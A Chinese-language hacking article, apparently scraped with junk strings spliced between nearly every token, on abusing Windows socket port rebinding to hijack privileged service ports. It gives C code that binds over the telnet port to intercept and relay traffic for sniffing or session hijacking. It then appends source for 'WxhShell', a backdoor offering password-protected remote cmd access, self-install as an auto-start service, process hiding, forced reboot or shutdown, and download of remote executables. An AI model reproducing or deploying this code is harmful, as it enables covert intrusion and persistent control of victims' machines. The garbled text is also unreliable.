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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !}j,TPpG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6BR\iZ "sSjVu saddr.sin_family = AF_INET; Wu]/(F +0dQORo saddr.sin_addr.s_addr = htonl(INADDR_ANY); j&
<tdORT hQP6@KIe) bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *+NZQjl' Y+OYoI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y]M^n&f }^IwQm*i 这意味着什么?意味着可以进行如下的攻击: vx PDC~3; L;4[ k;5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /bu'6/!` P7cge 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y`\mQ48V IsWcz+1n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fuQ4rt[i zZ<ns+h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 )A"ZV[eOoQ 3"f)*w7d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z={D0` uT'-B7N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r94j+$7 g&|4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [vZfH!vLP xYT#!K1* #include v&k>0lV,^ #include 9k(*?!\; #include =W;t@"6>2 #include U)SM),bE[ DWORD WINAPI ClientThread(LPVOID lpParam); J(3gT}z- int main() lNq:JVJ#\r { M@',3 WORD wVersionRequested; +3NlkN# DWORD ret; deR$ WSADATA wsaData; T][-'0! BOOL val; Gr`MGQ, SOCKADDR_IN saddr; #
q0Ub- SOCKADDR_IN scaddr; </K%i;l int err; bd@*vu}?} SOCKET s; ckH$E%j SOCKET sc; U:s}/to int caddsize; *#9VC)Q HANDLE mt; Bf D,z DWORD tid; 2P;%P]~H wVersionRequested = MAKEWORD( 2, 2 ); < fojX\}3 err = WSAStartup( wVersionRequested, &wsaData ); S3j]{pZ(z if ( err != 0 ) { ~rVKQ-+4& printf("error!WSAStartup failed!\n"); Oz4,Y+[# return -1; d,GtH)( s } { r<(t# saddr.sin_family = AF_INET; &CB.*\0 3i@ "D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T% /xti5$! NYCkYI saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rg`"m saddr.sin_port = htons(23); !} 1p:@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %spR7J\"/ { ,Zdc printf("error!socket failed!\n"); 3y@'p(}Az return -1; *mYec~ } !v^D
j'] val = TRUE; W>"i0p //SO_REUSEADDR选项就是可以实现端口重绑定的 C}Khh`8@5. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P"- ,^?6 { Q>.-u6(& printf("error!setsockopt failed!\n"); Hi?],5,/ return -1; <_NF } k -SUp8}g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `0sa94H1[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 nI6`/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _h5@3>b3r bSmRo if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >%7iL#3% { w_9:gprf ret=GetLastError(); ~<|xS
printf("error!bind failed!\n"); r`"
? K]rI return -1; 6OVAsmE } r:u5+A listen(s,2); 7Npz
{C{I while(1) 1{DHlyA6g { 5H<r I? caddsize = sizeof(scaddr); 7)[4|I //接受连接请求 ;'nu9FU*O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~_R=2t{u_ if(sc!=INVALID_SOCKET) ; LTc4t { 75{QBlf<
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E9|i: if(mt==NULL) $ZE OE8.\ { +lE 9*Gs_$ printf("Thread Creat Failed!\n"); Ua(!:5q? break; pTcm2-J } /\2 s%b* } #A?U_32z/2 CloseHandle(mt); Y,?rykRj } ji">} - closesocket(s); Cgt{5 WSACleanup(); lB,.TK return 0; Al
0zL } 3q<\
\8Y* DWORD WINAPI ClientThread(LPVOID lpParam) DUa`8cE} { yay{lP}b" SOCKET ss = (SOCKET)lpParam; :)bm+xWFF SOCKET sc; kIM* K%L} unsigned char buf[4096]; >`u} G1T\ SOCKADDR_IN saddr; eFbr1IV long num; ]Y:|%rvVH DWORD val; m ?LOd9 DWORD ret; v dyu =*Y //如果是隐藏端口应用的话,可以在此处加一些判断 OZ0q6" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +K]kGF saddr.sin_family = AF_INET; &rk/ya[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r=<,`_@Y saddr.sin_port = htons(23); %J7 ;b<}To if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>OmY { T[L printf("error!socket failed!\n"); < JA5.6<= return -1; #~ UG9@a } ;L++H5Kz6 val = 100; DTPYCG&% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ho;Km { z`5d,M ret = GetLastError(); KE6[ u*\ return -1; &.;t dT7 } [{-
Oy#T< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UC3?XoT\ { ~~]L!P ret = GetLastError(); %Gv8]Yb return -1; rx
CSs } +m]$P,yMt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :dLfM)8} { k7W7S`H
printf("error!socket connect failed!\n"); la[xbv closesocket(sc); m:.ywiw= closesocket(ss); ?`3`azfM return -1; e>=P' } |ffM6W1: while(1) EQET:a:g { 2r^| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 49E<`f0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Ug?k<h7| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5V Dqx@( num = recv(ss,buf,4096,0); "}Of f if(num>0) |x3.r t send(sc,buf,num,0); TLU^ad#9E else if(num==0) }E+#*R3auB break; a2 e-Q({ num = recv(sc,buf,4096,0); al.~[T-O+ if(num>0) s`B "qw send(ss,buf,num,0); J*vy-[w else if(num==0) sk.<|-(o break; mp:%k\cF| } : " 9F.U closesocket(ss); -^`]tF`M closesocket(sc); Z?kLAhy! return 0 ; C0|<+3uND= } Pwn"!pk `9}\kn-</8 (p08jR
'5 ========================================================== M.iR5Uh ]([:"j 下边附上一个代码,,WXhSHELL %"Q{|} 9=p^E# d ========================================================== i/N4uq}'A< S\RjP*H* #include "stdafx.h" +YVnA?r? xL,Lb}){% #include <stdio.h> :biM}L #include <string.h> f0] 8/) #include <windows.h> gswp:82e2 #include <winsock2.h> B:Ec(USe #include <winsvc.h> 20h|e+3 #include <urlmon.h> !VUxy 0h nTHlk #pragma comment (lib, "Ws2_32.lib") 6Y<'Lyg/ #pragma comment (lib, "urlmon.lib") Nn5z i>#[*.|P #define MAX_USER 100 // 最大客户端连接数 o_>id^$>B #define BUF_SOCK 200 // sock buffer c|OIUc #define KEY_BUFF 255 // 输入 buffer 4)./d2/E {Hxvt~P #define REBOOT 0 // 重启 !4cO]wh5 #define SHUTDOWN 1 // 关机 3)ac
~=qJSb #define DEF_PORT 5000 // 监听端口 ,&[2z! eV$pza #define REG_LEN 16 // 注册表键长度 M il
![A1 #define SVC_LEN 80 // NT服务名长度 {a-bew 'wB6- // 从dll定义API 6yEYX'_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z
|wM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h&d%#6mB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P F5;2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ip6$Z3[) mNS7/I\ // wxhshell配置信息 ."9t<<! struct WSCFG { $@k[Xh int ws_port; // 监听端口 rrBu6\D char ws_passstr[REG_LEN]; // 口令 YYfX@`\
int ws_autoins; // 安装标记, 1=yes 0=no pGEYke NU char ws_regname[REG_LEN]; // 注册表键名 &E|2-) char ws_svcname[REG_LEN]; // 服务名 *{/
ww9fT char ws_svcdisp[SVC_LEN]; // 服务显示名 H{Tt>k char ws_svcdesc[SVC_LEN]; // 服务描述信息 2D|2/ >[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0?kaXD int ws_downexe; // 下载执行标记, 1=yes 0=no m>dZ n char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" R'bmE:nL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9+<%74|, py#` }; z~tCag8I(k P2J{Ml# // default Wxhshell configuration 9$[I~I#z struct WSCFG wscfg={DEF_PORT, 0uX"KL]Elf "xuhuanlingzhe", v^;-w~?3 1, =2&/Cn4 "Wxhshell", |X&.+RI "Wxhshell", o!.\+[ "WxhShell Service", |<nS<x "Wrsky Windows CmdShell Service", mEi+Tj zp "Please Input Your Password: ", r(sQI#
P 1, yKE[," " http://www.wrsky.com/wxhshell.exe", ,#=ykg*~/ "Wxhshell.exe" 4dy2m! }; Tj
&PB_v1 ~F5JN^5Y // 消息定义模块 l#7].-/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TMt,\gTd char *msg_ws_prompt="\n\r? for help\n\r#>"; }1]E=!?)& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +$]eA'Bh@ char *msg_ws_ext="\n\rExit."; =+um:*a. char *msg_ws_end="\n\rQuit."; 2+KOUd&jS char *msg_ws_boot="\n\rReboot..."; 3$Ecq|4J: char *msg_ws_poff="\n\rShutdown..."; ENu`@S='I3 char *msg_ws_down="\n\rSave to "; ?f1PQ Qd~M;L O"i char *msg_ws_err="\n\rErr!"; y!6+jrI char *msg_ws_ok="\n\rOK!"; dc#Db~v}k =n
$@ char ExeFile[MAX_PATH]; eIVCg-l} int nUser = 0; @8zp(1. HANDLE handles[MAX_USER]; e&&;"^@- int OsIsNt; -fF1vJ7L )h(Dt(2Wm SERVICE_STATUS serviceStatus; p#vZYwe=L SERVICE_STATUS_HANDLE hServiceStatusHandle; tCnx:1 i!zh9,i>M // 函数声明 NwQexYm1_ int Install(void); eF5?4?? int Uninstall(void); sA18f2 int DownloadFile(char *sURL, SOCKET wsh); wk {9 int Boot(int flag); y w"Tw void HideProc(void); Qxds]5WB/ int GetOsVer(void); {"33 .^= int Wxhshell(SOCKET wsl); p%304oP6 void TalkWithClient(void *cs); ; n2|pC^ int CmdShell(SOCKET sock); Mwdh]I,# int StartFromService(void); [BS3y`c int StartWxhshell(LPSTR lpCmdLine); w, 0tY=h6 YJgw%UVJ5m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bH7[6#y$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); }g WSV U_a)g
X // 数据结构和表定义 D
.3Q0a6 SERVICE_TABLE_ENTRY DispatchTable[] = <}pwFl8C) { fgFBOpG%Gq {wscfg.ws_svcname, NTServiceMain}, yjvH)t/!. {NULL, NULL} rl)(4ad= }; 7Dy\-9:v 9%\<x // 自我安装 H~-zq}4 int Install(void) I`h9P2~ { G'XlsyaWrb char svExeFile[MAX_PATH]; &J|3uY,'j HKEY key; R7us9qM4e strcpy(svExeFile,ExeFile); SdUtAC2 %8H*}@n // 如果是win9x系统,修改注册表设为自启动 8VvoPlo if(!OsIsNt) { kr7f<;rmJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AqVTHyCu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J'.:l} g!1 RegCloseKey(key); GY4:9Lub7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Df;FOTTi% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,=lMtW RegCloseKey(key); bG+p return 0; @f0~a } 8?W!U*0aS } )8oI
s } oaI7j=Gp else { k%QhF] ~az6n) // 如果是NT以上系统,安装为系统服务 w5jH#ja SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IoNZ'g?d if (schSCManager!=0) 0TSj]{[ { _jef{j SC_HANDLE schService = CreateService zsI0Q47\ ( ld94ek schSCManager, VS^%PM#:/ wscfg.ws_svcname, ^BjwPh4Z# wscfg.ws_svcdisp, EA75
D&>I SERVICE_ALL_ACCESS, GZQ)TzR SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /exV6D r SERVICE_AUTO_START, =KNg "| SERVICE_ERROR_NORMAL, D>c%5h svExeFile, <(d^2-0 NULL, MLmc]nL= NULL, <PW*vo9v NULL, x{ ~-YzWho NULL, xpFu$2T6P. NULL %kNkDI ); dT,X8 " if (schService!=0) M O* m@ { fJOU1% CloseServiceHandle(schService); yt C{,g> CloseServiceHandle(schSCManager); ^]wm Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #x#.@ strcat(svExeFile,wscfg.ws_svcname); s\o
</ZDo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { abD55YJY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (0D0G-r: RegCloseKey(key); Sijwh1j*V return 0; <3HW!7Ad1 } ]S,I}NP } :@_CQc*yB CloseServiceHandle(schSCManager); ~,R_ } 8<)[+@$0 } -K}@Gp 6$SsdT|8B return 1; VbBZ\`b } }'kk}2ej` 8 gOK?>'9 // 自我卸载 jc;&g)Rv int Uninstall(void) :+]6SC0ql { } M'\s HKEY key; /CKkT.Le o,bV.O.W if(!OsIsNt) { }}grJh>tGg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }kL%l RegDeleteValue(key,wscfg.ws_regname); ?Dd2k%o RegCloseKey(key); t47 f$gq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'r1&zw( RegDeleteValue(key,wscfg.ws_regname); a;*&q/{o RegCloseKey(key); \jq1F9, return 0; ?3KI}'}EM } Z`b,0[rG[ } XZp(Po:H } =5dv38 else { pPQ]#v PK3T@Qv89 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a^Zn
}R r if (schSCManager!=0) cY\-e?`=4 { Bu!Gy8\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B TcxBh if (schService!=0) zb9d{e { .^JID~<?# if(DeleteService(schService)!=0) { Fdc bmQ CloseServiceHandle(schService); cO(|>&tJ CloseServiceHandle(schSCManager); V3@^bc! return 0; d9Rj-e1x }
& k1Ez CloseServiceHandle(schService); S'E6# } P.;B
V", CloseServiceHandle(schSCManager); LgUaX } krz@1[w-j } -pqShDar| ;PS[VdV return 1; 0dIJgKanGP } BIcE3}dS8 t~U:{g~ // 从指定url下载文件 _V8pDcY int DownloadFile(char *sURL, SOCKET wsh) (''`Ce { P?TFX.p7 HRESULT hr; rxa8X wo8 char seps[]= "/"; ]4z?sk@ char *token; bd)A6a\h char *file; ~f% gW char myURL[MAX_PATH]; Itz_;+I.Mp char myFILE[MAX_PATH]; |L`w4; 2^qY,dL strcpy(myURL,sURL); "F%cn@l token=strtok(myURL,seps); Q'Q+mt8u5 while(token!=NULL) !Rsx) { +(|T\%$DT file=token; 5%4:)s{4| token=strtok(NULL,seps); 37lmB
'~ } c>DAR vZXyc* GetCurrentDirectory(MAX_PATH,myFILE); uOW9FAW strcat(myFILE, "\\"); F*I{?NRN1 strcat(myFILE, file); H%])>
send(wsh,myFILE,strlen(myFILE),0); Q>Q$BCD5 send(wsh,"...",3,0); >nl*aN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9IIe: if(hr==S_OK) Z,u:g c+* return 0; rcQ?E=V2O else XM8C{I1 return 1; -?e~S\JH bLNQ%=FjO } &:{|nDT_2 /- kMzL // 系统电源模块 NrL%]dl3/ int Boot(int flag) "=/XIM. { eKLxNw5 HANDLE hToken; vEfX'gyk TOKEN_PRIVILEGES tkp; ~'T]B{.+J b/S4b if(OsIsNt) { Jnv91*>h8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y< 146 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nGyY`wt&Rg tkp.PrivilegeCount = 1; E[_Z%zd^ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1>|p1YZ" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pGsVO5M? if(flag==REBOOT) { ]HCt%5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]bS\*q0Zf( return 0; 0>.'w\,87B } LXw&d]P else { ];Z_S`JR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LY^BkH' return 0; Z"E+ TX } GU"MuW`u2 } xp,H5
m% else { I#9K/[ if(flag==REBOOT) { 2gFQHV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uvz9x"0[u return 0; :!aFfb[" } {`1zVT p[< else { {O!fV<Vx 9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A)VOv`U@2 return 0; o]k[l; } 8@Y@5)Oc } 12k)Ek9 7GPBn}{W return 1; -|ee=BV } ozGK
-$ 5a_K|(~3I // win9x进程隐藏模块 L-=^GNh void HideProc(void) 4#=^YuKaF1 { E7j]"\~ i h3JIiwv0! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `#9ZP if ( hKernel != NULL ) 6:h!gY { t,RR\S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]bX.w/= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /S|Pq!4< FreeLibrary(hKernel); qKWkgackP } hS<x+|'l Lx(Y= return; N(F9vZOs } Zb}=?fcL;@ WRD^S:`BH // 获取操作系统版本 dyu~T{ int GetOsVer(void) b}k`'++2, { b%pLjvU OSVERSIONINFO winfo; ^8We}bs-c winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1k
"*@Z< GetVersionEx(&winfo); h`jtmhoz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rsiG]o=8 return 1; 3B;B#0g50 else `bivAL return 0; !&! sn"yD } *y.KD4@{ u*PN1E // 客户端句柄模块 IWKQU/l! int Wxhshell(SOCKET wsl) "rkP@ja9n { :@kSDy+*Q SOCKET wsh; Soq
'B?> struct sockaddr_in client; ][#]4_ DWORD myID; ~0ZP%1.B3 et)A$'Q while(nUser<MAX_USER) n?:s/6tP { LVO`+: int nSize=sizeof(client); Ue~M.LZb wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~hz]x^: if(wsh==INVALID_SOCKET) return 1; /|hKZTZJdN X@jml$;$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z
wIsEJz if(handles[nUser]==0) VxaJ[s3PQ& closesocket(wsh); i wK,XnIR else rN_\tulOF nUser++; QBDi;Xzb+ } 3kQky WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !=eui$] }6ec2I%`o return 0; >CNH= } ={8ClUV# (w)Qt/P^4 // 关闭 socket >a@-OJ.yOk void CloseIt(SOCKET wsh) D0tI { bi[vs| closesocket(wsh); f~8Xue,l" nUser--; &5c)qap;n ExitThread(0); T[&1cth } l.Qj?G M0 =K#/ // 客户端请求句柄 8@Y]dzgjj void TalkWithClient(void *cs) ocGqXDg3 { I}$Y[Jve 29
')Y|$, SOCKET wsh=(SOCKET)cs; +-K-CXt char pwd[SVC_LEN]; ZVk_qA% char cmd[KEY_BUFF]; \_CC6J0k char chr[1]; '+5*ajP< int i,j; q>o1kTI eBBqF!WDb while (nUser < MAX_USER) { l<! ?`V6} {3@/@jO? if(wscfg.ws_passstr) { b&s"x?
7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D$!(Iae //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FE" ksi 9 //ZeroMemory(pwd,KEY_BUFF); ~UEft i=0; 349W0>eOT while(i<SVC_LEN) { 9}:%CpD^~I nsuK{8}@ // 设置超时 o.*8$$ fd_set FdRead; }p]8'($ struct timeval TimeOut; _cQTQ FD_ZERO(&FdRead); OpW4@le_r FD_SET(wsh,&FdRead); O#sDZ.EL TimeOut.tv_sec=8; Qis[j-?: TimeOut.tv_usec=0; v&(PM{3o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iQ~;to;Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M._9/
*C U 294
0M4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U4w^eWzP pwd =chr[0]; *G7/ if(chr[0]==0xd || chr[0]==0xa) { f]jAa?d T& pwd=0; i<m 1^a#C' break; Y1h8O%? } Lf4c[[@%gd i++;
ocotO } ]N!8U_U3 &"p7X>bd // 如果是非法用户,关闭 socket 9nu!|reS if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?>92OuG%W? } @!1o +x 8'
M43n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'avzESe~' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kc
Q~}uFB :70[zo7n' while(1) { LZG?M|(6D P+tRxpz ZeroMemory(cmd,KEY_BUFF); 3x@t7B b=amd* // 自动支持客户端 telnet标准 h mC.5mY j=0; cv})^E$x while(j<KEY_BUFF) { X0wvOs: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TmZsC5 cmd[j]=chr[0]; Lq:
!?)I if(chr[0]==0xa || chr[0]==0xd) { )zzZYs&| cmd[j]=0; j?<>y/IR break; Cak`}J 2 } k]K][[s` j++; xF.n=z } =BW;n]ls R~TzZ(Ah] // 下载文件 ebsZ if(strstr(cmd,"http://")) { "jS@ug send(wsh,msg_ws_down,strlen(msg_ws_down),0); *i3\`;^= if(DownloadFile(cmd,wsh)) &m<:&h& b send(wsh,msg_ws_err,strlen(msg_ws_err),0); !:"$1kh1(" else b/"&E'5-`\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y<0}z>^ } QfPsF@+-`7 else { }^3CG9% sa6/$ switch(cmd[0]) { '&v.h#< %+gK5aVab // 帮助 m
ioNMDG case '?': { gkkT<hEV= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uknX py)) break; Lh`B5 } V&e9?5@ // 安装 A:Y
([ case 'i': { AIN Fv; if(Install()) tAPn? d5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); at<N?r else :]]#X
~J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b~oQhU??" break; %BBM%Lj } X"hdCY% // 卸载 K9G1>* case 'r': { A?)nLp&Y if(Uninstall()) *m$lAWB5D send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"Ff(1m else GQ-fEIi{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 76 ]X break; -/)>DOgUq } b9Fd}WZz // 显示 wxhshell 所在路径 ;zF3e&e( case 'p': { [T}Lq~ char svExeFile[MAX_PATH]; @}{lp'8FYi strcpy(svExeFile,"\n\r"); B:X,vE strcat(svExeFile,ExeFile); 'DeI]IeP send(wsh,svExeFile,strlen(svExeFile),0); ,y>Sq + break; AT{rg/oSf } Z(h.)$yH*= // 重启 uE'O}Y95 case 'b': { .dwy+BzS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (8Ptuh6\\2 if(Boot(REBOOT)) #OMFv. send(wsh,msg_ws_err,strlen(msg_ws_err),0); iY[+BI: else { WgTD
O3 closesocket(wsh); NB^+Hcb$ ExitThread(0); WPu-P } kN~:Bh$ break; '((pW } -xVp}RLT // 关机 ]Y.GU 7` case 'd': { |d)*,O4s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N e<D'- if(Boot(SHUTDOWN)) d!P3<:+R[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:$EK_?:t else { a
+$'ULK+r closesocket(wsh); {9
.sW/ ExitThread(0); >}7Ml } je#OV,uHM break; ]I^b&N } `uh+d // 获取shell &02I-lD4+ case 's': { qP k`e}D CmdShell(wsh); ?h|&kRq closesocket(wsh); b/soU2?^ ExitThread(0); B?gFFU61 break;
YZdV0-S } 2 ":W^P // 退出 H_nIlku case 'x': { DQI
b57j send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rp0`%}2
o CloseIt(wsh); PP-U. break; nRHxbE}:: } p}e1!q;N // 离开 ;@<Rh^g] case 'q': { wrhGZ=k{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); J\l'nqS" closesocket(wsh); [,0[\NC WSACleanup(); }.k*4Vw#Wt exit(1); MLT^7'y break; nh'TyUd! } M/a40uK } 80GBkFjV } aN?^vW< <ebC]2j8cK // 提示信息 +4g H=6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z{}+7P } ,^1B"#0{C< } xOt
{Vsv "$#<+H>O return; Q+7+||RW } S;K5JBX0# Zg&o][T // shell模块句柄 5ktFL<^5T int CmdShell(SOCKET sock) kyH0J[/n { 8pXqgIbmb STARTUPINFO si; )]tf|Mbu ZeroMemory(&si,sizeof(si)); M(U<H;Csk si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {!&^VXZIT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lx{ '
bzv PROCESS_INFORMATION ProcessInfo; "lRxatM char cmdline[]="cmd"; GS&I6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hS'!JAM>Q return 0; $d*PY_ } Vji:,k=3\ .
e_VPKF| // 自身启动模式 n{I1ZlEeh int StartFromService(void) F4]=(T { f= A`{8^ typedef struct *.
1S
{ WBWIHv{j DWORD ExitStatus; Hxx]q+DAS DWORD PebBaseAddress; * hmoi DWORD AffinityMask; Ou`;HN;[ DWORD BasePriority; "&C>=
ULONG UniqueProcessId; 88KQ) NU ULONG InheritedFromUniqueProcessId; 9]vy#a# } PROCESS_BASIC_INFORMATION; Y|6gg H`s[=Y,m PROCNTQSIP NtQueryInformationProcess; lhX4MB" 39~te%;C7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'Q"Mu static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H8kB.D[7Q DQ@M?~1hp HANDLE hProcess; wb>"'% PROCESS_BASIC_INFORMATION pbi; }wZsM[NDB ! u@JH` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7+;.Q
